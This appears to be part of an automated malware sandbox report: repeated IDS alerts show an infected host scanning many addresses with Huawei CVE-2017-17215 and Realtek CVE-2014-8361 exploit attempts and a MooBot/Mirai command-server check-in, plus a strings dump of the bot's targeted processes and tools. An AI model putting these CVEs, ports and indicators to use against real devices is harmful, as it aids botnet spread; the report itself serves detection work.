ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.167.109.170

Timestamp:	2024-07-20T23:10:41.693872+0200
SID:	2835222
Source Port:	45544
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.210.197.36

Timestamp:	2024-07-20T23:10:40.934249+0200
SID:	2835222
Source Port:	47994
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.202.161.142

Timestamp:	2024-07-20T23:10:41.671671+0200
SID:	2835222
Source Port:	39992
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 221.199.80.98

Timestamp:	2024-07-20T23:10:42.933932+0200
SID:	2027339
Source Port:	60052
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 36.65.48.163

Timestamp:	2024-07-20T23:10:52.038774+0200
SID:	2027339
Source Port:	45058
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.242.148.168

Timestamp:	2024-07-20T23:10:39.463408+0200
SID:	2835222
Source Port:	56992
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.225.135.170

Timestamp:	2024-07-20T23:10:40.946478+0200
SID:	2835222
Source Port:	42998
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 67.216.209.193

Timestamp:	2024-07-20T23:10:41.677529+0200
SID:	2835222
Source Port:	47042
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 18.57.98.31

Timestamp:	2024-07-20T23:10:42.261146+0200
SID:	2835222
Source Port:	43018
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.24.244.61

Timestamp:	2024-07-20T23:10:42.273611+0200
SID:	2835222
Source Port:	57978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.245.216.156

Timestamp:	2024-07-20T23:10:39.508504+0200
SID:	2835222
Source Port:	37320
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.151.166.61

Timestamp:	2024-07-20T23:10:40.940896+0200
SID:	2835222
Source Port:	32902
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 148.185.232.135

Timestamp:	2024-07-20T23:10:40.944484+0200
SID:	2835222
Source Port:	47976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 23.152.243.164

Timestamp:	2024-07-20T23:10:46.867285+0200
SID:	2835222
Source Port:	45258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 146.67.192.198

Timestamp:	2024-07-20T23:10:52.100382+0200
SID:	2027339
Source Port:	49152
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.160.166.27

Timestamp:	2024-07-20T23:10:40.941539+0200
SID:	2835222
Source Port:	34744
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 14.49.13.245

Timestamp:	2024-07-20T23:10:39.441039+0200
SID:	2835222
Source Port:	54920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.36.31.158

Timestamp:	2024-07-20T23:10:40.933928+0200
SID:	2835222
Source Port:	59710
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.211.198.240

Timestamp:	2024-07-20T23:10:40.934982+0200
SID:	2835222
Source Port:	48400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.197.252.182

Timestamp:	2024-07-20T23:10:41.248454+0200
SID:	2835222
Source Port:	44340
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.242.40.170

Timestamp:	2024-07-20T23:10:41.693757+0200
SID:	2835222
Source Port:	41686
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.129.120.216

Timestamp:	2024-07-20T23:10:42.269853+0200
SID:	2835222
Source Port:	42288
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.52.85.28

Timestamp:	2024-07-20T23:10:39.508504+0200
SID:	2835222
Source Port:	32936
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 184.222.40.221

Timestamp:	2024-07-20T23:10:39.513590+0200
SID:	2835222
Source Port:	33952
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.233.147.184

Timestamp:	2024-07-20T23:10:39.446335+0200
SID:	2835222
Source Port:	47276
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.238.194.50

Timestamp:	2024-07-20T23:10:39.497131+0200
SID:	2835222
Source Port:	45784
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 73.153.13.203

Timestamp:	2024-07-20T23:10:46.870012+0200
SID:	2835222
Source Port:	38208
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.210.234.155

Timestamp:	2024-07-20T23:10:41.675412+0200
SID:	2835222
Source Port:	36850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.171.76.37

Timestamp:	2024-07-20T23:10:52.601580+0200
SID:	2835222
Source Port:	59718
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 8.33.228.87

Timestamp:	2024-07-20T23:10:41.697439+0200
SID:	2835222
Source Port:	60980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.28.65.67

Timestamp:	2024-07-20T23:10:41.241817+0200
SID:	2835222
Source Port:	43324
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.219.83.230

Timestamp:	2024-07-20T23:10:39.446335+0200
SID:	2835222
Source Port:	40632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.182.237.139

Timestamp:	2024-07-20T23:10:40.948142+0200
SID:	2835222
Source Port:	43890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.199.57.112

Timestamp:	2024-07-20T23:10:39.518032+0200
SID:	2835222
Source Port:	38188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 211.213.18.108

Timestamp:	2024-07-20T23:10:47.701889+0200
SID:	2027339
Source Port:	45624
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.30.201.248

Timestamp:	2024-07-20T23:10:40.934363+0200
SID:	2835222
Source Port:	37594
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.50.118.84

Timestamp:	2024-07-20T23:10:40.933992+0200
SID:	2835222
Source Port:	56962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.127.217.236

Timestamp:	2024-07-20T23:10:39.479428+0200
SID:	2835222
Source Port:	41390
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 182.92.42.223

Timestamp:	2024-07-20T23:10:39.497211+0200
SID:	2835222
Source Port:	54602
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.126.48.213

Timestamp:	2024-07-20T23:10:42.261820+0200
SID:	2835222
Source Port:	54072
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.230.50.79

Timestamp:	2024-07-20T23:10:40.948142+0200
SID:	2835222
Source Port:	59932
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.43.242.43

Timestamp:	2024-07-20T23:10:39.441038+0200
SID:	2835222
Source Port:	37834
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.231.2.188

Timestamp:	2024-07-20T23:10:41.671757+0200
SID:	2835222
Source Port:	38824
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.57.209.81

Timestamp:	2024-07-20T23:10:49.416634+0200
SID:	2835222
Source Port:	47626
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.188.107.151

Timestamp:	2024-07-20T23:10:41.671603+0200
SID:	2835222
Source Port:	55912
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.118.113.203

Timestamp:	2024-07-20T23:10:41.231521+0200
SID:	2835222
Source Port:	40214
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

String: Content-Length: abcdefghijklmnopqrstuvwxyz/proc/%d/exe/tmp/%s%s%c/proc/self/cmdline/proc/%d/proc/self/proc/proc/%d/cmdlinernetstatwgetcurlbusybox/bin/busybox/proc//proc/%s/exe/proc/self/exevar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/usr/lib/systemd/systemd/usr/libexec/openssh/sftp-serverusr/shellmnt/sys/bin/boot/media/srv/var/run/sbin/lib/etc/dev/home/Davincitelnetsshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr/bashhttpdtelnetddropbearropbearencodersystem/root/dvr_gui//root/dvr_app//anko-app//opt/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ3f

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:50866 -> 15.235.203.214:2466
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:39574 -> 112.183.31.205:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:39574 -> 112.183.31.205:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:38292 -> 119.87.220.235:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:38292 -> 119.87.220.235:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:44182 -> 19.2.120.96:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:44182 -> 19.2.120.96:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:48142 -> 114.147.236.150:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:48142 -> 114.147.236.150:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:40888 -> 175.109.109.84:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:40888 -> 175.109.109.84:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:43930 -> 154.64.3.25:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:43930 -> 154.64.3.25:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:37458 -> 219.152.75.176:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:37458 -> 219.152.75.176:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:43394 -> 183.79.5.78:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:43394 -> 183.79.5.78:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:53020 -> 157.142.69.44:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:53020 -> 157.142.69.44:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:47418 -> 17.198.192.63:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:47418 -> 17.198.192.63:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:45158 -> 220.239.248.79:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:45158 -> 220.239.248.79:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:46692 -> 5.162.60.136:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:46692 -> 5.162.60.136:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:41758 -> 89.171.240.248:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:41758 -> 89.171.240.248:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:32838 -> 220.55.101.199:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:32838 -> 220.55.101.199:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:60776 -> 61.146.90.23:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:60776 -> 61.146.90.23:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:58256 -> 24.231.54.99:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:58256 -> 24.231.54.99:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:52890 -> 155.186.2.88:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:52890 -> 155.186.2.88:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:48566 -> 65.58.210.176:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:48566 -> 65.58.210.176:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:38068 -> 17.96.206.10:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:38068 -> 17.96.206.10:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:38250 -> 131.159.98.164:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:38250 -> 131.159.98.164:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:40840 -> 212.22.178.123:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:40840 -> 212.22.178.123:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:44114 -> 125.46.245.158:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:44114 -> 125.46.245.158:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:36298 -> 91.122.92.170:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:36298 -> 91.122.92.170:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:42866 -> 61.53.244.138:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:42866 -> 61.53.244.138:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:42306 -> 72.244.52.162:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:42306 -> 72.244.52.162:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:60590 -> 166.78.169.15:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:60590 -> 166.78.169.15:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:55874 -> 134.192.167.73:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:55874 -> 134.192.167.73:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:47922 -> 73.163.96.192:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:47922 -> 73.163.96.192:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:43136 -> 204.13.73.202:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:43136 -> 204.13.73.202:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:60444 -> 23.180.240.118:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:60444 -> 23.180.240.118:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:51080 -> 85.126.23.91:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:51080 -> 85.126.23.91:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:38544 -> 191.96.230.47:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:38544 -> 191.96.230.47:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:36118 -> 197.208.47.186:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:36118 -> 197.208.47.186:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:35130 -> 32.169.224.65:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:35130 -> 32.169.224.65:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:38954 -> 208.102.27.6:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:38954 -> 208.102.27.6:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:41986 -> 102.119.6.178:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:41986 -> 102.119.6.178:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:46572 -> 77.64.253.97:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:46572 -> 77.64.253.97:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:48776 -> 134.116.6.133:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:48776 -> 134.116.6.133:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:40426 -> 143.77.32.144:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:40426 -> 143.77.32.144:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:53962 -> 189.107.255.223:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:53962 -> 189.107.255.223:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:34640 -> 211.42.169.91:52869
